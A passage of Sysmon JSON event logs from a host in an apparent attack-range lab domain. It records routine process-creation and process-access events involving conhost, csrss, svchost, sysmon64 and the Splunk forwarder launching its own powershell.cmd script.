11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3735,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010EF5E0500}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010EF5E0500}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3736,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.686\r\nProcessGuid: {90617006-407F-5F2D-0000-001086610500}\r\nProcessId: 4084\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.686","ProcessGuid":"{90617006-407F-5F2D-0000-001086610500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3737,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-001086610500}\r\nTargetProcessId: 4084\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-001086610500}","TargetProcessId":"4084","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3738,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-001086610500}\r\nTargetProcessId: 4084\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-001086610500}","TargetProcessId":"4084","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3739,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3740,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3741,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3742,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3743,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 